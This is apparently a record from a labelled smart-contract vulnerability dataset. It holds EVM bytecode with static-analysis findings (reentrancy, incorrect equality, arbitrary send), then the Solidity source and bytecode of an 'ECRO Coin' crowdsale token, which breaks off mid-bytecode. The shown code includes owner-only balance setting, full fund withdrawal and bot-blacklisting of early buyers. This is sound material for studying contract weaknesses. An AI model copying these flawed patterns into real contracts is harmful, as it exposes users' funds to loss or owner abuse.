1050990611b2d565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161050990611b2d565b600c54600160a01b900460ff1615610a555760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610509565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad09190611bc1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b419190611bc1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb29190611bc1565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c485760405162461bcd60e51b815260040161050990611b2d565b600f811115610c8f5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b6044820152606401610509565b600855565b6000546001600160a01b03163314610cbe5760405162461bcd60e51b815260040161050990611b2d565b6001600160a01b038116610d235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610509565b610528816114a3565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7457610d74611b62565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df19190611bc1565b81600181518110610e0457610e04611b62565b6001600160a01b039283166020918202929092010152600b54610e2a9130911684610ea6565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e63908590600090869030904290600401611bde565b600060405180830381600087803b158015610e7d57600080fd5b505af1158015610e91573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610509565b6001600160a01b038216610f695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610509565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661102e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610509565b6001600160a01b0382166110905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610509565b600081116110f25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610509565b6001600160a01b03831660009081526005602052604090205460ff161561119a5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610509565b6001600160a01b03831660009081526004602052604081205460ff161580156111dc57506001600160a01b03831660009081526004602052604090205460ff16155b80156111f25750600c54600160a81b900460ff16155b80156112225750600c546001600160a01b03858116911614806112225750600c546001600160a01b038481169116145b156113d357600c54600160b81b900460ff166112805760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610509565b50600c546001906001600160a01b0385811691161480156112af5750600b546001600160a01b03848116911614155b80156112bc575042600e54115b156113035760006112cc846106c9565b90506112ec60646112e6678ac7230489e8000060026114f3565b90611572565b6112f684836115b4565b111561130157600080fd5b505b600d54421415611331576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061133c306106c9565b600c54909150600160b01b900460ff161580156113675750600c546001600160a01b03868116911614155b156113d15780156113d157600c5461139b906064906112e690600f90611395906001600160a01b03166106c9565b906114f3565b8111156113c857600c546113c5906064906112e690600f90611395906001600160a01b03166106c9565b90505b6113d181610d2c565b505b6113df84848484611613565b50505050565b600081848411156114095760405162461bcd60e51b815260040161050991906118fc565b5060006114168486611c4f565b95945050505050565b60006006548211156114865760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610509565b6000611490611716565b905061149c8382611572565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115025750600061053c565b600061150e8385611c66565b90508261151b8583611c85565b1461149c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610509565b600061149c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611739565b6000806115c18385611ba9565b90508381101561149c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610509565b808061162157611621611767565b60008060008061163087611783565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165d90856117ca565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168c90846115b4565b6001600160a01b0389166000908152600160205260409020556116ae8161180c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116f391815260200190565b60405180910390a3505050508061170f5761170f600954600855565b5050505050565b6000806000611723611856565b90925090506117328282611572565b9250505090565b6000818361175a5760405162461bcd60e51b815260040161050991906118fc565b5060006114168486611c85565b60006008541161177657600080fd5b6008805460095560009055565b60008060008060008061179887600854611896565b9150915060006117a6611716565b90506000806117b68a85856118c3565b909b909a5094985092965092945050505050565b600061149c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e5565b6000611816611716565b9050600061182483836114f3565b3060009081526001602052604090205490915061184190826115b4565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118718282611572565b82101561188d57505060065492678ac7230489e8000092509050565b90939092509050565b600080806118a960646112e687876114f3565b905060006118b786836117ca565b96919550909350505050565b600080806118d186856114f3565b905060006118df86866114f3565b905060006118ed83836117ca565b92989297509195505050505050565b600060208083528351808285015260005b818110156119295785810183015185820160400152820161190d565b8181111561193b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052857600080fd5b803561197181611951565b919050565b6000806040838503121561198957600080fd5b823561199481611951565b946020939093013593505050565b6000806000606084860312156119b757600080fd5b83356119c281611951565b925060208401356119d281611951565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0c57600080fd5b823567ffffffffffffffff80821115611a2457600080fd5b818501915085601f830112611a3857600080fd5b813581811115611a4a57611a4a6119e3565b8060051b604051601f19603f83011681018181108582111715611a6f57611a6f6119e3565b604052918252848201925083810185019188831115611a8d57600080fd5b938501935b82851015611ab257611aa385611966565b84529385019392850192611a92565b98975050505050505050565b600060208284031215611ad057600080fd5b813561149c81611951565b60008060408385031215611aee57600080fd5b8235611af981611951565b91506020830135611b0981611951565b809150509250929050565b600060208284031215611b2657600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ba257611ba2611b78565b5060010190565b60008219821115611bbc57611bbc611b78565b500190565b600060208284031215611bd357600080fd5b815161149c81611951565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c2e5784516001600160a01b031683529383019391830191600101611c09565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c6157611c61611b78565b500390565b6000816000190483118215151615611c8057611c80611b78565b500290565b600082611ca257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d78b7806f1e1a12afbff4d5064f4947a7ce9d60d05a5ee93e2e93714c45106d64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,503
0xbea571937556f83dc6572278e11b2ba8941fc9c0
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract EcroContract is Ownable { using SafeMath for uint256; //INVESTOR REPOSITORY mapping(address => uint256) internal balances; mapping (address => mapping(uint256=>uint256)) masterNodes; mapping (address => uint256[]) masterNodesDates; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => uint256) internal totalAllowed; /** * @dev total number of tokens in existence */ uint256 internal totSupply; //COMMON function totalSupply() view public returns(uint256) { return totSupply; } function getTotalAllowed(address _owner) view public returns(uint256) { return totalAllowed[_owner]; } function setTotalAllowed(address _owner, uint256 _newValue) internal { totalAllowed[_owner]=_newValue; } function setTotalSupply(uint256 _newValue) internal { totSupply=_newValue; } function getMasterNodesDates(address _owner) view public returns(uint256[]) { return masterNodesDates[_owner]; } function getMasterNodes(address _owner, uint256 _date) view public returns(uint256) { return masterNodes[_owner][_date]; } function addMasterNodes(address _owner,uint256 _date,uint256 _amount) internal { masterNodesDates[_owner].push(_date); masterNodes[_owner][_date]=_amount; } function removeMasterNodes(address _owner,uint256 _date) internal { masterNodes[_owner][_date]=0; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) view public returns(uint256) { return balances[_owner]; } function setBalanceOf(address _investor, uint256 _newValue) internal { require(_investor!=0x0000000000000000000000000000000000000000); balances[_investor]=_newValue; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) view public returns(uint256) { require(msg.sender==_owner || msg.sender == _spender || msg.sender==getOwner()); return allowed[_owner][_spender]; } function setAllowance(address _owner, address _spender, uint256 _newValue) internal { require(_spender!=0x0000000000000000000000000000000000000000); uint256 newTotal = getTotalAllowed(_owner).sub(allowance(_owner, _spender)).add(_newValue); require(newTotal <= balanceOf(_owner)); allowed[_owner][_spender]=_newValue; setTotalAllowed(_owner,newTotal); } // TOKEN function EcroContract(uint256 _rate, uint256 _minPurchase,uint256 _tokenReturnRate,uint256 _cap,uint256 _nodePrice) public { require(_minPurchase>0); require(_rate > 0); require(_cap > 0); require(_nodePrice>0); require(_tokenReturnRate>0); rate=_rate; minPurchase=_minPurchase; tokenReturnRate=_tokenReturnRate; cap = _cap; nodePrice = _nodePrice; } bytes32 internal constant name = "ECRO Coin"; bytes3 internal constant symbol = "ECR"; uint8 internal constant decimals = 8; uint256 internal cap; uint256 internal nodePrice; bool internal mintingFinished; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); event Burn(address indexed burner, uint256 value); event TokenUnfrozen(address indexed owner, uint256 value); event TokenFrozen(address indexed owner, uint256 value); event MasterNodeBought(address indexed owner, uint256 amount); event MasterNodeReturned(address indexed owner, uint256 amount); modifier canMint() { require(!mintingFinished); _; } function getName() view public returns(bytes32) { return name; } function getSymbol() view public returns(bytes3) { return symbol; } function getTokenDecimals() view public returns(uint256) { return decimals; } function getMintingFinished() view public returns(bool) { return mintingFinished; } function getTokenCap() view public returns(uint256) { return cap; } function setTokenCap(uint256 _newCap) external onlyOwner { cap=_newCap; } function getNodePrice() view public returns(uint256) { return nodePrice; } function setNodePrice(uint256 _newPrice) external onlyOwner { require(_newPrice>0); nodePrice=_newPrice; } /** * @dev Burns the tokens of the specified address. * @param _owner The holder of tokens. * @param _value The amount of tokens burned */ function burn(address _owner,uint256 _value) internal { require(_value <= balanceOf(_owner)); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure setBalanceOf(_owner, balanceOf(_owner).sub(_value)); setTotalSupply(totalSupply().sub(_value)); emit Burn(_owner, _value); emit Transfer(_owner, address(0), _value); } function freezeTokens(address _who, uint256 _value) internal { require(_value <= balanceOf(_who)); setBalanceOf(_who, balanceOf(_who).sub(_value)); emit TokenFrozen(_who, _value); emit Transfer(_who, address(0), _value); } function unfreezeTokens(address _who, uint256 _value) internal { setBalanceOf(_who, balanceOf(_who).add(_value)); emit TokenUnfrozen(_who, _value); emit Transfer(address(0),_who, _value); } function buyMasterNodes(uint256 _date,uint256 _amount) external { freezeTokens(msg.sender,_amount*getNodePrice()); addMasterNodes(msg.sender, _date, getMasterNodes(msg.sender,_date).add(_amount)); MasterNodeBought(msg.sender,_amount); } function returnMasterNodes(address _who, uint256 _date) onlyOwner external { uint256 amount = getMasterNodes(_who,_date); removeMasterNodes(_who, _date); unfreezeTokens(_who,amount*getNodePrice()); MasterNodeReturned(_who,amount); } function updateTokenInvestorBalance(address _investor, uint256 _newValue) onlyOwner external { addTokens(_investor,_newValue); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) external{ require(msg.sender!=_to); require(_value <= balanceOf(msg.sender)); // SafeMath.sub will throw if there is not enough balance. setBalanceOf(msg.sender, balanceOf(msg.sender).sub(_value)); setBalanceOf(_to, balanceOf(_to).add(_value)); Transfer(msg.sender, _to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) external { require(_value <= balanceOf(_from)); require(_value <= allowance(_from,_to)); setBalanceOf(_from, balanceOf(_from).sub(_value)); setBalanceOf(_to, balanceOf(_to).add(_value)); setAllowance(_from,_to,allowance(_from,_to).sub(_value)); Transfer(_from, _to, _value); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _owner The address of the owner which allows tokens to a spender * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _owner,address _spender, uint256 _value) external { require(msg.sender ==_owner); setAllowance(msg.sender,_spender, _value); Approval(msg.sender, _spender, _value); } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _owner The address of the owner which allows tokens to a spender * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _owner, address _spender, uint _addedValue) external{ require(msg.sender==_owner); setAllowance(_owner,_spender,allowance(_owner,_spender).add(_addedValue)); Approval(_owner, _spender, allowance(_owner,_spender)); } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _owner The address of the owner which allows tokens to a spender * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _owner,address _spender, uint _subtractedValue) external{ require(msg.sender==_owner); uint oldValue = allowance(_owner,_spender); if (_subtractedValue > oldValue) { setAllowance(_owner,_spender, 0); } else { setAllowance(_owner,_spender, oldValue.sub(_subtractedValue)); } Approval(_owner, _spender, allowance(_owner,_spender)); } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) canMint internal{ require(totalSupply().add(_amount) <= getTokenCap()); setTotalSupply(totalSupply().add(_amount)); setBalanceOf(_to, balanceOf(_to).add(_amount)); Mint(_to, _amount); Transfer(address(0), _to, _amount); } function addTokens(address _to, uint256 _amount) canMint internal{ require( totalSupply().add(_amount) <= getTokenCap()); setTotalSupply(totalSupply().add(_amount)); setBalanceOf(_to, balanceOf(_to).add(_amount)); Transfer(address(0), _to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() canMint onlyOwner external{ mintingFinished = true; MintFinished(); } //Crowdsale // what is minimal purchase of tokens uint256 internal minPurchase; // how many token units a buyer gets per wei uint256 internal rate; // amount of raised money in wei uint256 internal weiRaised; uint256 internal tokenReturnRate; /** * event for token purchase logging * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event InvestmentsWithdrawn(uint indexed amount, uint indexed timestamp); function () external payable { } function getTokenRate() view public returns(uint256) { return rate; } function getTokenReturnRate() view public returns(uint256) { return tokenReturnRate; } function getMinimumPurchase() view public returns(uint256) { return minPurchase; } function setTokenRate(uint256 _newRate) external onlyOwner { rate = _newRate; } function setTokenReturnRate(uint256 _newRate) external onlyOwner { tokenReturnRate = _newRate; } function setMinPurchase(uint256 _newMin) external onlyOwner { minPurchase = _newMin; } function getWeiRaised() view external returns(uint256) { return weiRaised; } // low level token purchase function function buyTokens() external payable{ require(msg.value > 0); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = getTokenAmount(weiAmount); require(validPurchase(tokens)); // update state weiRaised = weiRaised.add(weiAmount); mint(msg.sender, tokens); TokenPurchase(msg.sender, weiAmount, tokens); } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { return weiAmount.div(getTokenRate()); } // get all rised wei function withdrawInvestments() external onlyOwner{ uint amount = this.balance; getOwner().transfer(amount * 1 wei); InvestmentsWithdrawn(amount, block.timestamp); } function returnTokens(uint256 _amount) external { require(balanceOf(msg.sender) >= _amount); burn(msg.sender,_amount); // return (rate * amount) * returnTokenRate % msg.sender.transfer(getTokenRate().mul(_amount).div(100).mul(tokenReturnRate)); } function getCurrentInvestments() view external onlyOwner returns(uint256) { return this.balance; } function getOwner() view internal returns(address) { return owner; } // @return true if the transaction can buy tokens function validPurchase(uint256 tokensAmount) internal view returns (bool) { bool nonZeroPurchase = tokensAmount != 0; bool acceptableAmount = tokensAmount >= getMinimumPurchase(); return nonZeroPurchase && acceptableAmount; } }
0x6080604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806309442d66146101c457806315070401146101ef57806317d7de7c1461025a57806318160ddd1461028d57806323b872dd146102b857806324f65ee7146103255780632854bc7e146103505780632f087a281461037d5780633a3af53f146103a85780633ae1786f146104095780633e2d70041461043657806340582f131461046157806361241c281461048c578063676cb63d146104b957806370a08231146104e857806379fdf5481461053f5780637d64bcb41461058c5780638da5cb5b146105a3578063961d30cc146105fa578063965232c0146106925780639eaeca9f146106e9578063a391616414610714578063a5021a171461072b578063a9059cbb14610756578063af5b065a146107a3578063b2a5a012146107ce578063b34f594b146107fb578063bcdd612114610828578063bf9f01f814610895578063d0febe4c146108cc578063dd62ed3e146108d6578063e1f21c671461094d578063e8307d00146109ba578063f019c267146109e7578063f2fde38b14610a54578063fdc2409514610a97575b005b3480156101d057600080fd5b506101d9610ae4565b6040518082815260200191505060405180910390f35b3480156101fb57600080fd5b50610204610b5e565b60405180827cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167cffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561026657600080fd5b5061026f610b86565b60405180826000191660001916815260200191505060405180910390f35b34801561029957600080fd5b506102a2610bae565b6040518082815260200191505060405180910390f35b3480156102c457600080fd5b50610323600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb8565b005b34801561033157600080fd5b5061033a610cbf565b6040518082815260200191505060405180910390f35b34801561035c57600080fd5b5061037b60048036038101908080359060200190929190505050610ccb565b005b34801561038957600080fd5b50610392610d30565b6040518082815260200191505060405180910390f35b3480156103b457600080fd5b506103f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3a565b6040518082815260200191505060405180910390f35b34801561041557600080fd5b5061043460048036038101908080359060200190929190505050610d95565b005b34801561044257600080fd5b5061044b610e40565b6040518082815260200191505060405180910390f35b34801561046d57600080fd5b50610476610e4a565b6040518082815260200191505060405180910390f35b34801561049857600080fd5b506104b760048036038101908080359060200190929190505050610e54565b005b3480156104c557600080fd5b506104ce610eb9565b604051808215151515815260200191505060405180910390f35b3480156104f457600080fd5b50610529600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed0565b6040518082815260200191505060405180910390f35b34801561054b57600080fd5b5061058a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f19565b005b34801561059857600080fd5b506105a1610f82565b005b3480156105af57600080fd5b506105b8611042565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060657600080fd5b5061063b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611067565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561067e578082015181840152602081019050610663565b505050509050019250505060405180910390f35b34801561069e57600080fd5b506106d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110fe565b6040518082815260200191505060405180910390f35b3480156106f557600080fd5b506106fe611147565b6040518082815260200191505060405180910390f35b34801561072057600080fd5b50610729611151565b005b34801561073757600080fd5b5061074061124a565b6040518082815260200191505060405180910390f35b34801561076257600080fd5b506107a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611254565b005b3480156107af57600080fd5b506107b8611357565b6040518082815260200191505060405180910390f35b3480156107da57600080fd5b506107f960048036038101908080359060200190929190505050611361565b005b34801561080757600080fd5b50610826600480360381019080803590602001909291905050506113c6565b005b34801561083457600080fd5b50610893600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061143a565b005b3480156108a157600080fd5b506108ca600480360381019080803590602001909291908035906020019092919050505061150d565b005b6108d4611598565b005b3480156108e257600080fd5b50610937600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061164b565b6040518082815260200191505060405180910390f35b34801561095957600080fd5b506109b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061177f565b005b3480156109c657600080fd5b506109e56004803603810190808035906020019092919050505061182e565b005b3480156109f357600080fd5b50610a52600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611893565b005b348015610a6057600080fd5b50610a95600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611986565b005b348015610aa357600080fd5b50610ae2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611adb565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905090565b60007f4543520000000000000000000000000000000000000000000000000000000000905090565b60007f4543524f20436f696e0000000000000000000000000000000000000000000000905090565b6000600654905090565b610bc183610ed0565b8111151515610bcf57600080fd5b610bd9838361164b565b8111151515610be757600080fd5b610c0b83610c0683610bf887610ed0565b611bb490919063ffffffff16565b611bcd565b610c2f82610c2a83610c1c86610ed0565b611c5190919063ffffffff16565b611bcd565b610c558383610c5084610c42888861164b565b611bb490919063ffffffff16565b611c6f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000600860ff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2657600080fd5b8060078190555050565b6000600754905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b80610d9f33610ed0565b10151515610dac57600080fd5b610db63382611d8c565b3373ffffffffffffffffffffffffffffffffffffffff166108fc610e11600d54610e036064610df587610de7610e40565b611ea190919063ffffffff16565b611edc90919063ffffffff16565b611ea190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610e3c573d6000803e3d6000fd5b5050565b6000600b54905090565b6000600c54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eaf57600080fd5b80600b8190555050565b6000600960009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7457600080fd5b610f7e8282611ef7565b5050565b600960009054906101000a900460ff16151515610f9e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff957600080fd5b6001600960006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156110f257602002820191906000526020600020905b8154815260200190600101908083116110de575b50505050509050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600d54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ae57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190506111d0611ff2565b73ffffffffffffffffffffffffffffffffffffffff166108fc600183029081150290604051600060405180830381858888f19350505050158015611218573d6000803e3d6000fd5b5042817fca2a1b3271e5bb96e9186f6b34be112d3b0c42755fd5b8f537fc2429a40e34ac60405160405180910390a350565b6000600854905090565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561128f57600080fd5b61129833610ed0565b81111515156112a657600080fd5b6112ca336112c5836112b733610ed0565b611bb490919063ffffffff16565b611bcd565b6112ee826112e9836112db86610ed0565b611c5190919063ffffffff16565b611bcd565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600a54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113bc57600080fd5b80600d8190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561142157600080fd5b60008111151561143057600080fd5b8060088190555050565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffff